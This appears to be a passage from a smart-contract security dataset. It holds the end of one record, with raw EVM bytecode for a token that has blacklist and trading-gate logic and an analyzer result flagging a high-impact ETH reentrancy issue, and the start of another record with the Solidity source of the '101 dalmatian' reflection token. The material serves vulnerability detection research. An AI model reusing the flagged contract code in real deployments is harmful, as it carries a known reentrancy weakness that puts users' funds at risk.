3ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cd90613261565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f906132e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bf906131c1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116a69190613301565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171a906132a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178a90613141565b60405180910390fd5b600081116117d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cd90613281565b60405180910390fd5b6117de61100f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561184c575061181c61100f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ba257601660149054906101000a900460ff166118f257601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e890613161565b60405180910390fd5b5b601754811115611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e906131a1565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119db5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a11906131e1565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ac75760185481611a7c84610dc6565b611a869190613437565b10611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abd906132c1565b60405180910390fd5b5b6000611ad230610dc6565b9050600060195482101590506017548210611aed5760175491505b808015611b075750601660159054906101000a900460ff16155b8015611b615750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611b77575060168054906101000a900460ff165b15611b9f57611b8582612070565b60004790506000811115611b9d57611b9c47611f07565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c495750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611cfc5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611cfb5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d0a5760009050611e91565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611db55750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611dcd57600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e785750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611e9057600a54600c81905550600b54600d819055505b5b611e9d8484848461236a565b50505050565b6000838311158290611eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee2919061311f565b60405180910390fd5b5060008385611efa9190613518565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f5760028461239790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f82573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611fd360028461239790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ffe573d6000803e3d6000fd5b5050565b6000600654821115612049576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204090613181565b60405180910390fd5b60006120536123e1565b9050612068818461239790919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120fc5781602001602082028036833780820191505090505b509050308160008151811061213a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121dc57600080fd5b505afa1580156121f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122149190612baa565b8160018151811061224e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122b530601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114e8565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161231995949392919061331c565b600060405180830381600087803b15801561233357600080fd5b505af1158015612347573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806123785761237761240c565b5b61238384848461244f565b806123915761239061261a565b5b50505050565b60006123d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061262e565b905092915050565b60008060006123ee612691565b91509150612405818361239790919063ffffffff16565b9250505090565b6000600c5414801561242057506000600d54145b1561242a5761244d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612461876126f6565b9550955095509550955095506124bf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a081612806565b6125aa84836128c3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126079190613301565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266c919061311f565b60405180910390fd5b5060008385612684919061348d565b9050809150509392505050565b60008060006006549050600069152d02c7e14af680000090506126c969152d02c7e14af680000060065461239790919063ffffffff16565b8210156126e95760065469152d02c7e14af68000009350935050506126f2565b81819350935050505b9091565b60008060008060008060008060006127138a600c54600d546128fd565b92509250925060006127236123e1565b905060008060006127368e878787612993565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006127a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ea3565b905092915050565b60008082846127b79190613437565b9050838110156127fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f390613201565b60405180910390fd5b8091505092915050565b60006128106123e1565b905060006128278284612a1c90919063ffffffff16565b905061287b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6128d88260065461275e90919063ffffffff16565b6006819055506128f3816007546127a890919063ffffffff16565b6007819055505050565b600080600080612929606461291b888a612a1c90919063ffffffff16565b61239790919063ffffffff16565b905060006129536064612945888b612a1c90919063ffffffff16565b61239790919063ffffffff16565b9050600061297c8261296e858c61275e90919063ffffffff16565b61275e90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806129ac8589612a1c90919063ffffffff16565b905060006129c38689612a1c90919063ffffffff16565b905060006129da8789612a1c90919063ffffffff16565b90506000612a03826129f5858761275e90919063ffffffff16565b61275e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612a2f5760009050612a91565b60008284612a3d91906134be565b9050828482612a4c919061348d565b14612a8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8390613241565b60405180910390fd5b809150505b92915050565b6000612aaa612aa5846133b6565b613391565b90508083825260208201905082856020860282011115612ac957600080fd5b60005b85811015612af95781612adf8882612b03565b845260208401935060208301925050600181019050612acc565b5050509392505050565b600081359050612b1281613adc565b92915050565b600081519050612b2781613adc565b92915050565b600082601f830112612b3e57600080fd5b8135612b4e848260208601612a97565b91505092915050565b600081359050612b6681613af3565b92915050565b600081359050612b7b81613b0a565b92915050565b600060208284031215612b9357600080fd5b6000612ba184828501612b03565b91505092915050565b600060208284031215612bbc57600080fd5b6000612bca84828501612b18565b91505092915050565b60008060408385031215612be657600080fd5b6000612bf485828601612b03565b9250506020612c0585828601612b03565b9150509250929050565b600080600060608486031215612c2457600080fd5b6000612c3286828701612b03565b9350506020612c4386828701612b03565b9250506040612c5486828701612b6c565b9150509250925092565b60008060408385031215612c7157600080fd5b6000612c7f85828601612b03565b9250506020612c9085828601612b57565b9150509250929050565b60008060408385031215612cad57600080fd5b6000612cbb85828601612b03565b9250506020612ccc85828601612b6c565b9150509250929050565b600060208284031215612ce857600080fd5b600082013567ffffffffffffffff811115612d0257600080fd5b612d0e84828501612b2d565b91505092915050565b600060208284031215612d2957600080fd5b6000612d3784828501612b57565b91505092915050565b600060208284031215612d5257600080fd5b6000612d6084828501612b6c565b91505092915050565b60008060008060808587031215612d7f57600080fd5b6000612d8d87828801612b6c565b9450506020612d9e87828801612b6c565b9350506040612daf87828801612b6c565b9250506060612dc087828801612b6c565b91505092959194509250565b6000612dd88383612de4565b60208301905092915050565b612ded8161354c565b82525050565b612dfc8161354c565b82525050565b6000612e0d826133f2565b612e178185613415565b9350612e22836133e2565b8060005b83811015612e53578151612e3a8882612dcc565b9750612e4583613408565b925050600181019050612e26565b5085935050505092915050565b612e698161355e565b82525050565b612e78816135a1565b82525050565b612e87816135c5565b82525050565b6000612e98826133fd565b612ea28185613426565b9350612eb28185602086016135d7565b612ebb81613711565b840191505092915050565b6000612ed3602383613426565b9150612ede82613722565b604082019050919050565b6000612ef6603f83613426565b9150612f0182613771565b604082019050919050565b6000612f19602a83613426565b9150612f24826137c0565b604082019050919050565b6000612f3c601c83613426565b9150612f478261380f565b602082019050919050565b6000612f5f602283613426565b9150612f6a82613838565b604082019050919050565b6000612f82602383613426565b9150612f8d82613887565b604082019050919050565b6000612fa5601b83613426565b9150612fb0826138d6565b602082019050919050565b6000612fc8601783613426565b9150612fd3826138ff565b602082019050919050565b6000612feb602183613426565b9150612ff682613928565b604082019050919050565b600061300e602083613426565b915061301982613977565b602082019050919050565b6000613031602983613426565b915061303c826139a0565b604082019050919050565b6000613054602583613426565b915061305f826139ef565b604082019050919050565b6000613077602383613426565b915061308282613a3e565b604082019050919050565b600061309a602483613426565b91506130a582613a8d565b604082019050919050565b6130b98161358a565b82525050565b6130c881613594565b82525050565b60006020820190506130e36000830184612df3565b92915050565b60006020820190506130fe6000830184612e60565b92915050565b60006020820190506131196000830184612e6f565b92915050565b600060208201905081810360008301526131398184612e8d565b905092915050565b6000602082019050818103600083015261315a81612ec6565b9050919050565b6000602082019050818103600083015261317a81612ee9565b9050919050565b6000602082019050818103600083015261319a81612f0c565b9050919050565b600060208201905081810360008301526131ba81612f2f565b9050919050565b600060208201905081810360008301526131da81612f52565b9050919050565b600060208201905081810360008301526131fa81612f75565b9050919050565b6000602082019050818103600083015261321a81612f98565b9050919050565b6000602082019050818103600083015261323a81612fbb565b9050919050565b6000602082019050818103600083015261325a81612fde565b9050919050565b6000602082019050818103600083015261327a81613001565b9050919050565b6000602082019050818103600083015261329a81613024565b9050919050565b600060208201905081810360008301526132ba81613047565b9050919050565b600060208201905081810360008301526132da8161306a565b9050919050565b600060208201905081810360008301526132fa8161308d565b9050919050565b600060208201905061331660008301846130b0565b92915050565b600060a08201905061333160008301886130b0565b61333e6020830187612e7e565b81810360408301526133508186612e02565b905061335f6060830185612df3565b61336c60808301846130b0565b9695505050505050565b600060208201905061338b60008301846130bf565b92915050565b600061339b6133ac565b90506133a7828261360a565b919050565b6000604051905090565b600067ffffffffffffffff8211156133d1576133d06136e2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134428261358a565b915061344d8361358a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561348257613481613684565b5b828201905092915050565b60006134988261358a565b91506134a38361358a565b9250826134b3576134b26136b3565b5b828204905092915050565b60006134c98261358a565b91506134d48361358a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561350d5761350c613684565b5b828202905092915050565b60006135238261358a565b915061352e8361358a565b92508282101561354157613540613684565b5b828203905092915050565b60006135578261356a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ac826135b3565b9050919050565b60006135be8261356a565b9050919050565b60006135d08261358a565b9050919050565b60005b838110156135f55780820151818401526020810190506135da565b83811115613604576000848401525b50505050565b61361382613711565b810181811067ffffffffffffffff82111715613632576136316136e2565b5b80604052505050565b60006136468261358a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561367957613678613684565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613ae58161354c565b8114613af057600080fd5b50565b613afc8161355e565b8114613b0757600080fd5b50565b613b138161358a565b8114613b1e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d3e5336aa6dbc14542e65ffecd184de2017a9ce7d89ad69266c9b40cdff8fe864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,231 |
0xd24ce12119d54998a6d57197b66fe0be006056c6
|
/**
*Submitted for verification at Etherscan.io on 2021-05-28
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract dalmatian is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 101 * 10**0 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = '101 dalmatian';
string private _symbol = '101';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 1 * 10**0 * 10**9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = ((_tTotal * maxTxPercent) / 10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return (rAmount / currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = ((tAmount / 100) * 2);
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return (rSupply / tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
